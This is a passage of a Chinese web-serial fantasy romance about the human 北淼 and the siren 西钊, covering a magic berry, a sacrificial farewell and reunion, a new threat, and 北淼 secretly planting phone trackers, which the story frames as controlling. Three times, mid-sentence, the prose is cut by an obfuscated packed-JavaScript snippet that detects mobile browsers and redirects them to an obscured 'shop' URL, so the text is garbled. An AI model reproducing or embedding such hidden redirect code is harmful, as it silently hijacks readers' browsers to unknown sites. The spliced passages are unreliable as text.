所以……这就是结局了?总觉得留有遗憾不是童话故事的风格。就在北淼疑惑时,女二号将那颗还原自我的浆果递给了女主角。北淼愣了愣,原来这才是回收浆果伏笔的真正场合。 “如果真正的我是没有翅膀的怎么办?” “没有翅膀又怎么样呢?你仍然是你。聪明、勇敢,还有许多比别人多的优点。” 一如所有美好童话都有的合家欢结局,女主角通过浆果得到了一对全新的翅膀,甚至比之前更加美丽。邪恶得到了她应有的代价,故事在一片欢声笑语中结束。 北淼牵着心满意足的小兰走出影厅,对这个结局毫不意外。但,老实说,他多少有些羡慕。如果他也能用浆果给西钊一对翅膀就好了,北淼想。而在那之后,在那之后……他会让塞壬回到他本该在的地方:天空与海洋。要是真有那么一天,被人类囚禁这么久的西钊大概会头也不回地向着他失而复得的蓝天离开吧。可是,他和小雪的羁绊肯定也不浅,他会这么无情吗?会不会……想多留一会儿?或者常回来看看? 其实北淼知道,这种说法只是在掩盖自己其实并不想放西钊走的阴暗心理。他曾厌恶、甚至憎恨过这个种族,但西钊和冰儿的出现带给了他全新的认知,也让他意识到了自己的偏见和傲慢。如今,在ERP实验室的帮助下,西钊已经在水族馆撑过了近四个月,他们三人的关系也更加紧密,像真正的家人一般。 只不过,北淼对西钊的心意和他们略有不同,就好像把一封在愧疚时写下的道歉信拆开,乱七八糟地揉成一团;等再次展开时,它已然变成了一封皱巴巴的情书,送不出去,也没法撕毁。 算了,至少西钊很喜欢他做的菜。将小兰送回幸福饺子馆,北淼一边摇上车窗,一边无力地自我安慰。 他问过西钊怎么看待自己,不是作为“小雪的哥哥”,而是作为“张北淼”。他还记得,那时西钊花了些时间思考,给出的答案让他很是意外。 西钊告诉他,冰儿很早就知道北淼在黑犀集团工作,查阅了很多关于黑犀海上贸易公司的信息,西钊也因此多少了解一些关于北淼的事,比如黑犀集团对海洋生态环境做出的贡献;西钊出任务时偶尔也会听一些鱼儿们提起北淼的“丰功伟绩”,所以有时候西钊也想不明白,对海洋生物这么友好的一个人,怎么就抛弃妹妹不管了呢? 虽然北淼觉得以这种方式“出名”是件很诡异的事情,但这好像给西钊拉了一波好感度,不亏。 从幸福路出来、把车停在邮政局门口时,北淼还陷在自己的思绪里。 他前几天旁敲侧侧击地和西钊探讨过关于“爱”的话题。北淼认为,塞壬唱过无数诗歌、听过无数故事,肯定对爱有着不同的理解。他不记得他们在这场谈话中具体说了什么,也许是因为塞壬独特的魔法,他只记得,那时西钊为了解释心中所认知的爱,给他唱了一首歌。 爱说,“我所求的一切不过是 站着凝视着你的眼睛,不向任何地方偏倚; 因为在它们深处有着最宏伟的天堂。 然而,如果你将手轻轻按住我 那么我会认为这如期的快乐 甚至更加甜蜜。” 西钊与北淼对视、柔声吟唱。本就温和的目光愈发深情,仿佛在亲身演绎诗歌中的词句。北淼分不清其中的真伪,他只觉自己忘了呼吸。 爱说,“我所求的一切不过是 紧握着你的手问你。我能否轻抚你的脸颊 如同清风拂过玫瑰的叶片,言语无力形容 我的灵魂如何沐浴在幸福之中。 没有任何语言能够亵渎 如此盛大的欢愉。” 伴随着温柔的歌声,西钊伸手抚上北淼的脸。肌肤相触的那一刻,时间好似静止,只有这首关于爱的诗在空气中缓慢流动。塞壬的体温比人类低很多,北淼却感觉脸颊发热。 他知道这只是西钊在表达诗歌中的情感。 他明明知道。 “我所求的一切”——不,自欺欺人的爱, 把你的语句颠倒,让那意义零落, “我所求的一切”改成“我要求所有” 所有属于大地和天空的, 所有你编织的、以及身体,灵魂,凡此种种, 爱所求的是一切。* *埃拉·惠勒·威尔科克斯 《爱所求的一切》 西钊双手捧着北淼的脸,动作很轻,闭上眼慢慢靠近,直至与他额头相抵。太熟悉了,脸上的温度、耳边的歌声,还有……梦里的吻。 北淼顿时睁大双眼、幡然醒悟:不、不对,那不是梦。 “爱所求的是一切。” 脑海中回响着西钊最后的诗句,北淼转守为攻,突兀地抬手按着西钊的后颈吻住他的双唇——是了,这熟悉的味道、柔软的触感,是西钊没错,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334698|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天为溺水的他输氧的人,是西钊。 为了避免西钊逃开,北淼甚至伸手圈住他的腰,往自己的方向拉拽。但西钊似乎没有反抗的意图,更多的是无措和困惑,最终变为被动地接受。北淼不喜欢这样。因为这只能说明西钊是为了顺着他的意愿才这么配合。但,这大概是北淼唯一能向西钊索取的东西,哪怕对方无法理解,甚至误以为这是某种换取食物的“交易”。 他并非认为塞壬不懂何为爱情,他只是单纯觉得西钊不会爱上他。 那天之后,一切如常。唯一不同的,大概就是西钊休息的时间越来越长、清醒的时间越来越少,哪怕每天都有北淼的投喂,精神状态也越来越差。大家都知道这意味着什么,但没有人提起这个话题。 北淼长叹着锁好跑车,来到邮局的国际窗口。 他远在国外的妹妹——另一个妹妹——小细,最近和养父母进行了一场环球旅行。每个国家的特产小细都给北淼带了一些,结果到最后堆积成满满一箱,北淼不得不开车过来拿。 小细给北淼列了一个清单,她担心寄过去的东西弄丢,还特意嘱咐北淼在邮局拆开确认好了再回家。这辈子都撕不下来“妹控”标签的北淼只好当场验货,根据小细的清单一个个对照箱子里琳琅满目、千奇百怪、五花八门……算了,应该叫“乱七八糟”的小玩意: 城市铭牌、风景明信片、地摊小挂件、东南亚风味零食、拍立得相片;奇怪形状的树叶、造型独特的昆虫标本、干巴巴的松果、即热即吃的薯条……越往下层翻,北淼的表情就越发复杂。小细在每个清单物品后面都详细地写着它们的由来,北淼甚至瞟到旁边监督的工作人员在憋笑。 可能被妹妹(们)折磨就是他北淼的命吧…… 好不容易翻到最后几个,北淼不禁松了口气。好吧,让他看看还剩什么:非洲部落的石头项链、热带雨林的奇特果实、跑车同款金属模型……等一下。 北淼放下手里的汽车模型,重新拿起放在一旁的那颗淡色果实。它的形状和颜色都和今天电影里的那个还原浆果一模一样。巧合吗?还是他太敏感了?北淼赶紧拿出清单回头再看一遍小细对这个东西的描述: 小细和父母跟着家庭探险队在热带雨林边缘冒险的时候不小心掉进深沟,这是她被大家拉上去之前发现的。她顺手摘了两颗。小细扭伤了脚,走不了路。大家在扎营的时候她又疼又无聊,手里正好有吃的,也没问大人能不能吃,就咬了一口那个果实。结果这个东西把她难吃哭了——字面意义上。她赶忙一路小跑到父母面前求安慰。给北淼邮寄过来的理由很简单:这个很难吃,哥哥你也尝尝。 如果是平常,北淼或许会为自己的这个小机灵鬼妹妹感到无奈,说不定真的会尝试一下这“难吃到哭”的果实。但现在,北淼的关注点全都在“一路小跑”的小细身上。小细是个牙疼也会嗷嗷叫的小姑娘,要是扭伤脚还蹦蹦跳跳,肯定会疼得写下来和她的哥哥抱怨,但没有。说明、说明…… “只要吃一口这个浆果,就能还原真正的你。” 难道,所谓的还原浆果,真的存在吗? 理论上说,小细这种情况有很多种解释:果实即时的止痛、身体激素带来的影响,甚至可能完全是小细的心理作用——她根本没扭伤。 但、万一呢?如果它可以让小细扭伤的脚恢复,是不是也可以让解除西钊身体里的毒素?他、他可以抱有这样的期待吗?可即便如此,西钊的翅膀也不一定能再长出来…… “没有翅膀又怎么样呢?你仍然是你。聪明、勇敢,还有许多比别人多的优点。” ……是啊,不管变成什么样,西钊依然是西钊。他给不了西钊翅膀,至少有机会给他健康。 北淼知道这残酷的世界不是童话,没有那么多幸福结局;但他相信美好、相信一切能够创造美好的机会。所以他会不断探索、不断尝试,直至最后一刻。 反正、说白了,只是让西钊咬一口的事情。成功了皆大欢喜,失败了就当用难吃的食物整蛊西钊的恶作剧。 北淼把那颗果实揣进兜里,正好摸到震动着响铃的手机。他打开手机一瞧,是小雪的来电。小雪从来没主动给他打过电话,这是怎么了?北淼带着不好的预感,按下接听键。 “小北哥,你快回来!西钊出事了!” TBC 71. 童话、现实与真相[番外] ———— 如果人人都相信童话,世界会变得更好吗? ———— “然后呢然后呢?”小细趴在西钊腿上,双手撑着下巴,歪过脑袋好奇地看向西钊手中的精装故事书,双脚在身后晃来晃去,“那只塞壬出什么事了?” 西钊将书翻到下一页,目光越过书脊朝小细浅浅一笑,便收回视线继续低声念道: “等王子赶回家中,发现养在池子里的塞壬不见踪影。他焦急万分,四处询问,却没有一个仆人能告诉他塞壬的去向。这时,王子的妹妹、美丽的公主殿下出现在宫殿。她告诉王子,塞壬的诅咒变得更加严重,甚至波及到了池子里的其他鱼儿和负责换水的仆人。善良的塞壬非常愧疚,他害怕有一天会伤害到王子和公主。于是他钻进地下河、逃向无边无际的大海。” “啊……怎么这样——”听到故事朝着悲剧方向发展,小细不满地鼓起腮帮子,难过的同时又抱着些许侥幸心理,“王子和公主这么爱塞壬,肯定会把他找回来的,对吧,西钊哥哥?王子还要给塞壬吃魔法浆果呢!” 西钊勾起的嘴角在他脸颊印出小小的酒窝,他抬手揉揉小细的脑袋,温柔地“嗯”了一声。 敲门声响起,北淼端着一碟切好的水果走进房间,将果盘放在床头,拉过一把椅子、又取来一条毛巾,一手擦头发,一手用叉子叉水果喂给床上听故事的小细。 “后来,王子和公主决定带着国家的船队,兵分两路到海上寻找离开的塞壬。王子心想,他离成功只差一步,绝对不可以在这时候放弃。终于,在船队的不懈努力下,王子在最初与塞壬相遇的小岛上找到了他。 “塞壬躲藏在礁石山洞的巢穴之中,很是虚弱。原本漂亮的银色尾巴此时变成了夜的漆黑、原本明亮的双眸此时覆上了一层灰雾。塞壬,这神话中强大而美丽的生灵,如今正蜷缩在洞中湖岸,静待死亡的降临。 “王子冲进山洞,跪在塞壬面前,紧紧将他拥入怀中,不停地呼唤他的名字。平日在宫廷尊贵优雅、在战场骁勇善战的王子,此时却没有一点贵族的模样。他焦急、无措、不安,甚至没有意识到自己流下了眼泪。他是如此深爱面前的塞壬啊,以至于拥抱的手、呼唤的声音,都在微微颤抖。” 西钊停在这里,视线快速扫过接下来几个段落,接着抬眼看向北淼,像是在和他确认什么。北淼用一颗甜甜的大草莓转移小细的注意力,同时朝西钊不动声色地小幅度摇了摇头。西钊心领神会,低下头开口念道: “眼看死神就要从王子手中夺走塞壬,王子终于想起他一直带着的魔法浆果。他慌乱地拿出浆果,放入塞壬口中。当浆果的汁液盈溢而出,奇迹发生了: “塞壬身体和尾巴的漆黑慢慢褪去,就像黎明的光逐渐驱散黑夜。他背上的伤疤迅速愈合、无神的双眼也重新焕发出那纯粹的、澄澈的苍蓝。重获新生的塞壬变换成一只巨大的鸟儿,用他曾被斩断的翅膀,将王子紧紧裹在怀抱之中、久久没有放手。 “后来,塞壬跟着王子的船队回到了他繁荣的国度。王子迫不及待地向塞壬示爱,对他展开追求。最终,他们在海边举行了盛大的婚礼,所有人都为他们献上了最美好的祝福。王子、公主与塞壬从此幸福地生活在那片神秘之地,直至时间的尽头。” 西钊合上手中的《生于碧海蓝天》,向怀里依旧恋恋不舍回味故事的小细遗憾地笑了笑:“那么,今天的睡前故事就到这里。该睡觉了,小细。不然,你的北淼哥哥就要生气了。” “嗯——我还想听西钊哥哥再讲一个故事呢。”虽然有些不满,但小细还是听话地从西钊腿上挪开,钻进被窝里。 这话说的北淼可就有意见了。他不轻不重地拍拍床上那个小鼓包:“怎么,你哥哥我讲的故事就不好听吗?” 西钊笑着摇摇头,翻身下床,给小细掖好被子:“小细,你听我的,下次让你北淼哥哥多带些国内的零食给你,好好敲诈他一笔。然后我再把他那些糟糕的童话都改成美好的结局,一举两得,你说是不是?” “好!” “好什么好,快睡觉,你个小鬼头。”北淼哭笑不得地揉乱小细的头发,端着空果盘和湿毛巾半推半踹地把西钊赶出了小细的房间,自己也跟在后面,为小细关好房门。 收拾洗漱好之后,两人都没什么睡意,并排伏在阳台的围栏上欣赏这个海边小国的夜景。沉默对于他们而言永远不会显得尴尬,反而总是让人觉得安心。一阵海风拂过,吹乱他们的碎发,也吹开了他们的话匣。 “北淼,你为什么不让我念书里的结局?” 北淼并未对上西钊看向他的视线,他眺望远方海天交际之处,轻哼一声:“她还小,没有必要知道现实的残酷。告诉我,你相信‘奇迹’吗?” 西钊毫不犹豫地回答:“我相信。” “我不相信。”北淼语气平静,紧跟着是一声叹息,“那本书是你根据真实事件改编的,你自己也说了,只是稍加润色,并没有更改结局。这种故事,对小细而言,止步于‘童话’足够了。这世界没有偶然,所谓‘奇迹’,都是人创造出来的。” 西钊嘴角上扬,不再回话,转身再次与北淼面对暗夜下深色的沙滩与漆黑的汪洋大海。 从张超和柏栩栩那个世界回来之后,不太想在北淼公司工作的西钊就开始尝试居家写作。大多数时候是随笔,偶尔也会写一些原创角色的短篇小说,热度不温不火。 《生于碧海蓝天?是他一个笔友的亲口描述,而那个网名“ICESNOW”的笔友便是书中的“公主”。TA亲历并见证了书中的一切,希望西钊能够将其编写成一部童话故事出版,并且以真实的悲剧结局。 在书中,魔法浆果并没有给“王子”带来奇迹。他深爱的塞壬、这份甚至没能得到回应的感情就这样消逝在他的怀里。他的体温无法再传递给那具冰冷的身体、他的亲吻和眼泪也并没有像童话里那样将爱人唤醒。空旷寂寥的洞穴之中,王子的耳畔、脑海,仅仅只剩下塞壬的名字、只剩下塞壬死前最后的绝唱: 不,不要悲痛,你的生活已满是哀伤, 黎明不会因你的悲痛而自掩光芒, 春天也不会因此拒绝赋予 莲花与阿育王叶那明媚且注定的美丽 不,不要灰心,生活已暗藏艰难, 时间不会暂停或在半途逗留; 这天看似如此漫长,如此蹊跷,苦涩, 但很快也会成为某个被遗忘的昨天。 不,不要哭泣,新的希望,梦想,脸庞, 那些未诞生的时日里尚未殆尽的快乐, 将证明你的心背叛了它的悲伤, 并使你的眼睛不忠于你的眼泪。* (*摘自萨洛吉尼·奈杜《无常》) 王子独自随船回到了他的国度,将塞壬的死讯告知公主。他们埋下一口空棺材,为塞壬举办了一场盛大的葬礼。 那些美好的情感和记忆,那些坎坷的苦难与悲伤,都随着天空的浮云和汪洋的海浪,逐渐飘往更高的天际、流向更远的彼岸,最终被他们遗忘。 ———— 那么,你相信奇迹吗? 还是说,你更愿意相信“真相”? ———— 西钊吃下果实后不到半分钟,他的身体便由内而外地发出银白的辉光。光芒逐渐将他包裹、变得愈发明亮,以至于让北淼不得不抬起一只手遮住这刺眼又温热的光线。 北淼忽然觉得怀中落空,他惊恐地睁眼,发现西钊整个身体化为一个仿佛长出羽翼的发光球体,对着洞口直冲而去。北淼赶紧爬起来,不顾身上的泥污拔腿就追。 北淼一直追到洞口的浅滩上,光球悬浮在北淼面前不远处的浅海,慢慢生出形体轮廓:宽可蔽日的翅膀、于腰部展开的侧翼、垂下的羽状尾翼、尖利强壮的双足。待它从空中落地、溅起大片水花的瞬间,光芒尽散、无数光尘飘散于那如天使般美丽的生灵周围。它一身纯白,没有一点污秽的痕迹,浮云与海浪似乎也感知到来自塞壬的力量,在天空与大海间翻滚汹涌。 塞壬收起一大一小两对羽翼,于软沙之中站稳双足,收起方才随生长出羽毛的手臂一同伸出的利爪。塞壬侧过身,回头望去。黄昏的霞光穿透他的眼睛,澄澈的苍蓝映出北淼的震惊和失语。 西钊从未想过还能重新拥有翅膀、重新展翅飞翔。他甚至以为自己即将死去。他无法抑制心中的感激和惊喜,却不知拿什么才能予以回报。北淼又会不会以此为条件,要求他留下来? 其实西钊一直都明白北淼的心意。他是通读所有诗歌的塞壬,又怎会察觉不到这样明显的感情?只是,人类的生命对塞壬而已不过是宇宙于星球,弹指一挥间。寿命的不平衡让西钊很难回应这份情感。他也害怕失去。他喜欢他们:北淼、冰儿,还有其他人类。如果可以,他不愿离开;可是,他也不该留在这里。 北淼的表情在西钊眼里从震惊渐渐转为纠结和苦闷,最后只剩掩盖在释然之下的痛苦和悲伤。令西钊意外的是,北淼并没有打算将重获新生的西钊留在身边,他扯扯嘴角,露出一个不太好看的笑容:“看来这个世界上,真的有‘奇迹’。”北淼咬咬牙,停顿片刻才继续说道,“现在,你可以去你想去的任何地方。别担心,我会代你跟小雪道别的。不过,以后给我放机灵点,可别再被人抓到了。” 北淼自己有意识到吗,西钊想,那表面上满不在乎的笑容变得愈发苦涩:他不想他走。 西钊不愿让北淼在自己离开之后陷入悲伤和遗憾,他不愿北淼在人类有限的生命里对自己抱有任何期待。他理应去看、去听、去感受更多更美好的事物。而西钊,西钊是塞壬,他生于天空与海洋,也属于那里。他们……本就不应有交集。 北淼慢慢向后退出因涨潮而逐渐升高水位的浅滩,给西钊让出起飞的位置。他想过很多种与西钊告别的场景,只是没想过这一刻会来的那么快。冰箱里还有没做完的食材、水族馆还有没建设好的新设备、他们还有没聊完的话题……北淼移开视线,没有再继续想下去。 然而,西钊却意料之外地转过身,背对大海展开巨大的白色羽翼,飞到北淼面前、悬停在低空。西钊抬手抚上北淼的脸颊,在他愣神时另一只手迅速将他脖颈上一直戴着的银鳞项链拽下,粉碎在手中。 “!?” 一种强烈的不安瞬间席卷北淼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334699|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神经,不管西钊接下来要做什么,他的本能都在尖叫着抗拒。然而他发现——他动不了,如同照片一般被定格在原地。此时西钊的双手捧着北淼的脸颊,不知第几次闭上眼与他额头相抵。 西钊唱出第一个音节时,北淼首先听到的是自己的恳求:“等等、西钊、不……” 北淼的后话与他神智一起,被西钊的歌声揉碎在了海风与潮汐里。 我像风一样离去,对逝去之日甩着白发, 我的□□倾入漩涡中肆意漂流。 我把自己献给泥土, 让它从我爱的草地上生长, 如果你想找我,便去脚下寻找吧。 你永远不会知道我是谁,我的所思所想, 但我有益于你的健康, 我将清洁、过滤、充实你的血液。 若你找不到我,请不要泄气, 若你错过了我,请去别处找寻, 我会在某个地方等你。* (*摘自沃尔特·惠特曼《像风一样离去》) 西钊偏过脑袋,贴上北淼的双唇。这不是来自深海的救助,而是一个真正的、充满遗憾、温柔与不舍的吻。 北淼在那之后便失去了意识。他感觉到自己的记忆在发生变化,感觉到有什么重要的东西在慢慢远去。他在黑暗中伸出手,却什么都没有抓住。 我已在这里死去, 回归天空与大地。 若这世间真有奇迹, 它定能让我们再次相遇。 到那时, 我会对你说…… ———— 三年后。 初夏,某沿海国家。 代表黑犀海上贸易到这里出差的北淼在酒店放好行李,简单休息了几个小时倒时差。睡醒时城市里正值傍晚时分,海边城市的黄昏一向很吸引人。北淼当即决定披上外套,在这个汽车都很少上路的小国街道转转。 夕阳照得这里低矮的自建房映出昏黄的光,石头铺成的街道时不时被孩子们的自行车轧过,发出颇有节奏的声响。这里没有集中的大型市场,小贩和商店零零散散地分布在大街小巷之中。街上的人不多,却也不乏生气,不论走到哪里、不论吵闹还是安静,都让人觉得心旷神怡。 转过一个小巷之后,北淼隐约听见吉他的乐声和遥远的歌声。他听不太清,悦耳的曲调驱使他好奇地寻着声源找过去。他穿过条条街巷、绕过座座桥梁,终于在一段较宽敞的大路尽头看到了那个坐在街边弹唱的身影。随着北淼的步子慢慢靠近,他的容貌和声音都变得越发清晰: 深棕微卷的短发很蓬松,发尾有些长,贴着后颈翘起弧度;深色的双眸跟着清亮的调子、映着橙红的夕阳好似在发光;嘴角微微上扬,在脸上压出两个小酒窝;松垮的圆领衬衣露出他轮廓分明的锁骨和肩膀一块黄豆大小的浅浅伤疤。 他穿着黑色的休闲裤和白色休闲鞋,裤腰边上还挂着银色的链条,翘着腿、抱着吉他,完全沉浸在音乐之中,并不在意旁人是否为他驻足。只听他用那熟悉又陌生的嗓音,轻快地唱道: 沙滩它累了倒在海边, 太阳它失眠不睡, 我为你拍下美丽海岸线, 寄给你有夏末气味的明信片, 你和我隔着一道换日线, 遥远…… 但记得回到最初地平线, 再次和爱遇见, 约定好下个夏天再见, 再见被阳光晒过的甜, 空气中还炎热的想念, 隔一年会依然热切, 就约定好下个夏天再见, 再见海风亲吻你的脸, 发梢还藏着风的弧线, 就随风飘到了夏天, 再见——* (*出自张超歌曲《换日线》) 一曲结束,北淼仍未从方才的旋律里缓过神。有什么温热的东西在他眨眼时顺着眼角划过他脸颊。 他看到那人待吉他的余音散去之后,慢慢抬起头与他直直对视。夕阳最后的晖光在他眼里映射出微不可察的一瞬宝石般的透亮蓝色。他依然挂着浅浅酒窝温柔微笑,薄唇缓慢张合,从震动的声带中发出的每个音节都异常清晰: “北淼。”他说,“好久不见。” 那声音有如魅惑万物的塞壬,顷刻间穿透了北淼的心,融化了他的灵魂。 FIN ———— 未知时间。 世界的角落。 “你真的想好了吗?虽不会像《小美人鱼》那样化成泡沫,但这依然是一份巨大的代价。为了一个人类的爱,值得吗?” “不,不只是因为爱。而是因为我喜欢人类、喜欢他们那个世界。我想要去看、去听、去感受。” “所以你选择成为他们中的一员。” “嗯。” “你会找到他吗?” “会的。因为我相信。” 人们从诗人的词句中,摘取自己心爱的意义;然而,所有诗句的意义最终都指向你。 ——罗宾德拉纳特·泰戈尔《吉檀迦利 75》 END 72. 阴谋再起 ———————— “击败你的不是异能量,是人心。” ———————— D市,ERP指挥室内。 美真双手交握撑在桌沿,不安地盯着监控屏幕上闪烁的异能量红点,神色严肃而专注,连身后的通道门打开也没有注意到。东杉和炘南谈笑间走进指挥室,聊着炘南这段时间在国外参加世界钢琴比赛的事情。东杉一边跟炘南搭话,一边将咖啡杯放在美真身旁,顺便抿了一口自己手里的。 就在炘南问出“这么着急找我回来是怎么了”,而东杉转身准备向炘南解释什么时,美真像是被什么吓到似的猛地朝东杉转过身,速度之快以至于将那杯冰咖啡掀翻在桌。东杉眼疾手快地拉起美真的手,避免沾上咖啡渍,美真的视线却迅速在东杉与炘南之间交替片刻,认真地说:“东杉、炘南,事情比我们想的还要严重。” 听闻此言,炘南压下嘴角见到故友的笑意:“出什么事了?” “美真让我联系你,是因为之前的‘漏网之鱼’又出现了。”东杉单膝下蹲收拾台面,眉头微皱,手撑桌面站起身的同时又是一声长叹,“你应该没有忘记,其实还有一只异能兽我们没能封印。即使宇宙黑暗力量已经被消灭,它也仍旧是个威胁。” “所以,我和东杉在你们散伙之后就一直在寻找有关于它的蛛丝马迹。”美真点点头,将椅子转回监控面板前,在几声键盘的敲几下,伴随美真的讲解,屏幕显示出密密麻麻的多处红色记号,“最近我们检测到了异能量反应,但是这种能量源非常奇怪,它并不是纯粹的异能量,而是……”美真敲击键盘的手指略有停顿,抿了抿唇斟酌措辞后缓缓道,“红外和磁场监测显示,他们的生命反应是人类。” “什么?”炘南和东杉异口同声,东杉紧接着问道,“异能量的确可以影响人类,界王当时就与异能兽结合,变得更加强大,我们四人合力才击败他。但……这数量未免也太多了。如果我没记错,仅存的异能兽只有一个,它不强,不可能造成这么大范围的异能量反应。” “对。也就是说,现在出现了新的威胁,而我们对敌人一无所知。”美真点点头,转身看向舱室内闪烁着温和微光的光影石,忽然想起什么,低低“诶”了一声,“其他三个人呢?坤中放暑假了吧,还有北淼和西钊。东杉,你有联系到他们吗?” “哦,坤中今早下的飞机,应该在赶过来的路上了。至于西钊和北淼……”东杉拿出手机看了看,似乎想掩饰后半句话即将出口的尴尬,“理论上说,他们的情况比较复杂,但和当下的危机比起来……这个……” 看来是东杉的“闷葫芦”性子又发作了。美真不满地站起身,凑上前就抽走了东杉的手机:“到底怎么了?还有什么事情比拯救世界更重要?”只见东杉的手机屏幕上是一条来自北淼的短信,信息一如既往地简洁明了、又似乎充盈着些许火药味: 西钊的事别问我,与我无关。 北淼 同时,指挥室的门也随之打开。迎面而来的是坤中和西钊,坤中的手绕过西钊身后搭在他肩膀,安慰似的拍了拍,用他那熟悉的乐天派语气说道:“好啦,西钊,没事的,不就是分手了嘛,大家都还是朋友、都还是兄弟。你也知道北淼的性格,说不定过段时间就会发现自己做得不对,过来找你和好了。” 西钊身前背着一个黑色的小斜挎包,里面似乎装着什么,仔细看会发现有些沉,体积也不小,但现在的情况几乎没人注意到它。所有人的注意力都在坤中那番话和西钊身上,西钊黑色眸子里透出的灰暗与淡然让人很难不相信这是一个刚刚失去一段亲密关系的可怜人。尽管与平日里的西钊有很多违和之感,但并未引起任何人的怀疑——是啊,为什么要怀疑? “分、分手?”美真再次低头看向那条“与我无关”的短信,满脸写着难以置信。距离他们知道西钊和北淼确认关系也才过了两年,怎么忽然就分手了?而且中间也没听说他们闹过什么矛盾,什么穿越到别的世界的奇闻倒是听过不少。美真张了张嘴,想多了解一些情况,但余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334700|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光里的异能量反应记录让她最终还是没问出口:现在不是说这些的时候。 所幸,炘南更早地意识到当下问题的重心所在,他从短暂的惊讶里回神,朝西钊微微颔首:“关于这件事,我很遗憾。不过美真检测到了新的威胁,可能需要我们光影铠甲出面解决,你和北淼——” 令人意外的是,西钊难得地打断了对方的话:“没关系,孰轻孰重我心里有数。比起‘儿女私情’,目前更应该关注世界性的危机,对吗?” “嗯,你能这么想,我很高兴。” 炘南正要把话茬交给美真,只听指挥室门外传来一阵沉闷的撞击声。除了西钊仍站在原地,其他几人纷纷朝门口聚集过去。这时,舱门忽然打开,北淼左手捂着右臂,身体紧贴通道,黑色的皮夹克看不出端倪,却见他身后拖着一条长长的血痕,在苍白的墙体上很是刺眼。 北淼也不顾众人的惊叹与担忧,伸出左手拍开其他人的搀扶,急于传达比自己身负重伤更为重要的事情:“让开!都听我说!西钊那家伙、他已经——” 北淼的声音在他抬眼与众人身后“那个人”对视的瞬间戛然而止。他听不见耳边关切的问询和质疑,眼里只有那个熟悉的、背着斜挎包、眼中满是“平淡的绝望感”的家伙。 “这不可能……”北淼喃喃道。所有人的视线都在他身上,没有人像他一样注意到那个置身事外的人移开视线,缓缓抬起手,用食指指节接住不知从何处出现、一点点落下的黑金色羽蝶。 黑蝶舒展羽翼时,“西钊”垂下的眼眸转而与北淼对视,嘴角微扬、在脸颊上压出酒窝,露出难以察觉的、意味深长的微笑。刹那间,北淼只觉得有什么冻结了他全身的血液,令他僵直在原地、行动不能。 这家伙、这家伙是…… 或许是失血过多,北淼的视线开始变得模糊不清。他最后的记忆,不是为他处理伤口、忙里忙外的众人,而是“西钊”开合唇瓣,无声地对他说: “好久不见。” TBC 73. 破镜或难圆 ———————— 一切矛盾爆发的根源 都曾是最微不足道的分歧点。 ———————— “事情”发生前一周,张宅。 西钊在北淼被一通电话叫出去之后,拿出手机坐回沙发上,熟练地拆开手机外壳、卸下电池,用指尖捻出一片薄薄的银色金属。他叹了口气将它放在桌上,神色怅然地看着它。这是第八十九次吧,西钊心里默数,无奈感叹。发现手机上有定位器/窃听器/追踪器并不意味着他被谁盯上或者陷入某些麻烦——情理之中意料之外地,这些是北淼的手笔。 大概一年半之前,冰儿——现在应该叫她小雪——就应北淼的建议到张家旗下的公司工作。虽然在西钊看来,北淼那看似卑微的温柔之下,多少是有些强硬成分在的,也不知道小雪有没有感觉到。幸好在这方面,西钊要比小雪“强势”得多。他谢绝了北淼的“建议”,转而去做一名自由职业者。他偶尔会在网络上写一些文章和故事,也会去各种店里做兼职,总之就是闲不住几天。所以这也让无时无刻不在担心西钊、关注他动向的北淼伤透了脑筋。 装窃听器和跟踪装置是北淼发现西钊不再接他的“查岗”电话之后发生的事情。说实在的,西钊并不是特别在意北淼的“保护欲”,他理解北淼的在乎和体贴。由于他不善表达,也不知是否确实有表达的必要,因此就默许了北淼的一切行动。但当北淼的关心逐渐变为极端的“控制欲”和“过度保护”,西钊便意识到这已经不再是在不在乎的问题了。虽然北淼会尊重西钊的意愿和喜好,但只要是西钊不强烈反对的,他都会照着自己的想法行动,并在西钊提出疑问时以不容置疑的姿态与之辩驳。西钊从不和北淼争第三句话。他知道,北淼还是喜欢——大概也是习惯——去做那个全员听他指挥的队长。 他和北淼就这件事讨论过很多次。与平日里的强势截然不同,北淼在这个话题里总是过分坦诚。他会展现自己的恐惧和脆弱,告诉西钊自己这么做的理由:因为害怕再次失去、因为担心做得还不够好。他总是觉得西钊拥有的太少,所以想要“填充”的自然更多。每每面对北淼略带愧疚、充满爱意的双眼,西钊除了一句“我知道了”,什么都做不到。接着他又会一次次地进入发现窃听器和追踪器、无奈“指控”北淼、北淼表达歉意取下芯片、几天后自己的行程“被安排”、再次发现芯片的无限循环。 